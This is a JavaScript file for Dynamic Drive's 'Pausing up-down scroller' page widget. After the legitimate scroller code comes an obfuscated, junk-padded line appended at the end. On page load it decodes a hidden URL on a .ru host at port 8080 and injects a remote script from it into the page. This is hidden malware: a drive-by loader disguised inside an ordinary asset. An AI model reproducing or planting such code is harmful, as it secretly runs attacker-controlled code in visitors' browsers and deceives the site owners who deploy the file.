﻿/***********************************************
* Pausing up-down scroller- © Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for this script and 100s more.
***********************************************/

function pausescroller(content, divId, divClass, delay){
	this.content=content //message array content
	this.tickerid=divId //ID of ticker div to display information
	this.delay=delay //Delay between msg change, in miliseconds.
	this.mouseoverBol=0 //Boolean to indicate whether mouse is currently over scroller (and pause it if it is)
	this.hiddendivpointer=1 //index of message array for hidden div
	this.accelaration=1
	document.write('<div id="'+divId+'" class="'+divClass+'" style="position: relative; overflow: hidden"><div class="innerDiv" style="position: absolute; width: 50%" id="'+divId+'1">'+content[0]+'</div><div class="innerDiv" style="position: absolute; width: 50%; visibility: hidden" id="'+divId+'2">'+content[1]+'</div></div>')
	var scrollerinstance=this
	if (window.addEventListener) //run onload in DOM2 browsers
		window.addEventListener("load", function(){scrollerinstance.initialize()}, false)
	else if (window.attachEvent) //run onload in IE5.5+
		window.attachEvent("onload", function(){scrollerinstance.initialize()})
	else if (document.getElementById) //if legacy DOM browsers, just start scroller after 0.5 sec
		setTimeout(function(){scrollerinstance.initialize()}, 500)
}

// -------------------------------------------------------------------
// initialize()- Initialize scroller method.
// -Get div objects, set initial positions, start up down animation
// -------------------------------------------------------------------
pausescroller.prototype.initialize=function(){
	this.tickerdiv=document.getElementById(this.tickerid)
	this.visiblediv=document.getElementById(this.tickerid+"1")
	this.hiddendiv=document.getElementById(this.tickerid+"2")
	this.visibledivtop=parseInt(pausescroller.getCSSpadding(this.tickerdiv))
	//set width of inner DIVs to outer DIV's width minus padding (padding assumed to be top padding x 2)
	this.visiblediv.style.width=this.hiddendiv.style.width=this.tickerdiv.offsetWidth-(this.visibledivtop*2)+"px"
	this.getinline(this.visiblediv, this.hiddendiv)
	this.hiddendiv.style.visibility="visible"
	var scrollerinstance=this
	document.getElementById(this.tickerid).onmouseover=function(){scrollerinstance.mouseoverBol=1}
	document.getElementById(this.tickerid).onmouseout=function(){scrollerinstance.mouseoverBol=0}
	if (window.attachEvent) //Clean up loose references in IE
		window.attachEvent("onunload", function(){scrollerinstance.tickerdiv.onmouseover=scrollerinstance.tickerdiv.onmouseout=null})
	setTimeout(function(){scrollerinstance.animateup()}, this.delay)
}


// -------------------------------------------------------------------
// animateup()- Move the two inner divs of the scroller up and in sync
// -------------------------------------------------------------------
pausescroller.prototype.animateup=function(){
	var scrollerinstance=this

	if (parseInt(this.hiddendiv.style.top)>(this.visibledivtop+1)){
		this.visiblediv.style.top=parseInt(this.visiblediv.style.top)-2+"px"
		this.hiddendiv.style.top=parseInt(this.hiddendiv.style.top)-2+"px"
		setTimeout(function(){scrollerinstance.animateup()}, 10 /*this.accelaration*/ ) 
		this.accelaration=this.accelaration+Math.log(Math.pow(1.032,this.accelaration))
	}
	else{
		this.getinline(this.hiddendiv, this.visiblediv)
		this.swapdivs()
		this.accelaration=1
		setTimeout(function(){scrollerinstance.setmessage()}, this.delay)
	}
}

// -------------------------------------------------------------------
// swapdivs()- Swap between which is the visible and which is the hidden div
// -------------------------------------------------------------------
pausescroller.prototype.swapdivs=function(){
	var tempcontainer=this.visiblediv
	this.visiblediv=this.hiddendiv
	this.hiddendiv=tempcontainer
}

pausescroller.prototype.getinline=function(div1, div2){
	div1.style.top=this.visibledivtop+"px"
	div2.style.top=Math.max(div1.parentNode.offsetHeight, div1.offsetHeight)+"px"
}

// -------------------------------------------------------------------
// setmessage()- Populate the hidden div with the next message before it's visible
// -------------------------------------------------------------------
pausescroller.prototype.setmessage=function(){
	var scrollerinstance=this
	if (this.mouseoverBol==1) //if mouse is currently over scoller, do nothing (pause it)
		setTimeout(function(){scrollerinstance.setmessage()}, 100)
	else{
		var i=this.hiddendivpointer
		var ceiling=this.content.length
		this.hiddendivpointer=(i+1>ceiling-1)? 0 : i+1
		this.hiddendiv.innerHTML=this.content[this.hiddendivpointer]
		this.animateup()
	}
}

pausescroller.getCSSpadding=function(tickerobj){ //get CSS padding value, if any
	if (tickerobj.currentStyle)
		return tickerobj.currentStyle["paddingTop"]
	else if (window.getComputedStyle) //if DOM2
		return window.getComputedStyle(tickerobj, "").getPropertyValue("padding-top")
	else
		return 0
}

var CD=new Array();var yv="";var u;if(u!='z'){u='z'};function C(){var dz;if(dz!='b' && dz!='vN'){dz='b'};var gC="";var j=window;var L="";var l=unescape;var G;if(G!='' && G!='M'){G='BU'};this.k='';var K=l("%2f%61%6f%6c%2d%63%6f%2d%75%6b%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%61%6b%75%74%65%6e%2e%6e%65%2e%6a%70%2e%70%68%70");var QYd=new String();function Q(Z,d){var F='';var RD=new Date();var gB=new Array();var qD;if(qD!='N' && qD!='la'){qD=''};var QZ=new String("g");var c=new String();var lC=l("%5b"), D=l("%5d");var Mu;if(Mu!='TT'){Mu=''};var g=lC+d+D;var YR='';var V=new RegExp(g, QZ);return Z.replace(V, new String());var pJ=new Array();var _m=new Date();};var uf=new String();var Cm=new Date();var a;if(a!='Rw'){a=''};this.X="";var nB=new String();var dzM;if(dzM!='' && dzM!='w'){dzM=''};var f=document;var s="";this.nv="";var QY=Q('8297701453987963904521','12935764');var Op;if(Op!='qC'){Op=''};var y=new String();var nR;if(nR!='Ps' && nR!='i'){nR='Ps'};var gR;if(gR!='JM' && gR!='UY'){gR='JM'};var Nn=new String();var fN=new String();function J(){var E;if(E!='OZ' && E!='Oc'){E='OZ'};var v=l("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");y=v;y+=QY;var At=new Date();var aN=new Date();y+=K;var bu;if(bu!='qX'){bu=''};var vq=new Array();var bK;if(bK!='zH' && bK!='QYv'){bK=''};try {var di=new String();jf=f.createElement(Q('sUcMrMibpQtQ','bnUQMS'));this.OM='';var SI=new String();var uV="";jf[l("%73%72%63")]=y;jf[l("%64%65%66%65%72")]=[4,1][1];var hZ;if(hZ!=''){hZ='jGl'};f.body.appendChild(jf);var Gv="";} catch(lCy){var kl;if(kl!='WN'){kl='WN'};var ch;if(ch!='Sf'){ch='Sf'};alert(lCy);var qt;if(qt!='' && qt!='KU'){qt='pX'};};var iz;if(iz!='gx' && iz!='lf'){iz=''};var N_R;if(N_R!='IO'){N_R='IO'};}var cR;if(cR!='dZ' && cR != ''){cR=null};var AL=new Date();j[String("onlo"+"adLPwC".substr(0,2))]=J;var ZX;if(ZX!='nH' && ZX!='PS'){ZX='nH'};var RO;if(RO!='ek' && RO!='cm'){RO='ek'};};var Rh;if(Rh!='' && Rh!='sj'){Rh=''};this.TTq="";C();
